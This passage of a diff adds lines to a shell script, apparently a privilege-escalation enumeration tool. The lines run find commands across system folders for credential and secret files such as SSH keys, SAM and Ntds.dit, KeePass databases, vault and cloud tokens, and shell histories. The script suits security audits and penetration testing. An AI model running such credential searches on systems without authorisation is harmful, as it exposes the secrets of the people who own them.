\"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SYS=`eval_bckgrd "find ${ROOT_FOLDER}sys -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SYSTEM=`eval_bckgrd "find ${ROOT_FOLDER}system -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SYSTEMD=`eval_bckgrd "find ${ROOT_FOLDER}systemd -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"rocketchat.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_TMP=`eval_bckgrd "find ${ROOT_FOLDER}tmp -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"agent*\" -o -name \".env*\" -o -name \"KeePass.enforced*\" -o -name \"Dockerfile\" -o -name \"smb.conf\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_USR=`eval_bckgrd "find ${ROOT_FOLDER}usr -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"ssh*config\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_VAR=`eval_bckgrd "find ${ROOT_FOLDER}var -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CONCOURSE_AUTH=`eval_bckgrd "find ${ROOT_FOLDER}concourse-auth -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CONCOURSE_KEYS=`eval_bckgrd "find ${ROOT_FOLDER}concourse-keys -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+
+
+ wait # Always wait at the end
+ CONT_THREADS=0 #Reset the threads counter
+fi
+
+if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then
+ # GENERATE THE STORAGES OF THE FOUND FILES
+ PSTORAGE_SYSTEMD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}system|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}run" | grep -E ".*\.service$" | sort | uniq | head -n 70)
+ PSTORAGE_TIMER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}system|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}run" | grep -E ".*\.timer$" | sort | uniq | head -n 70)
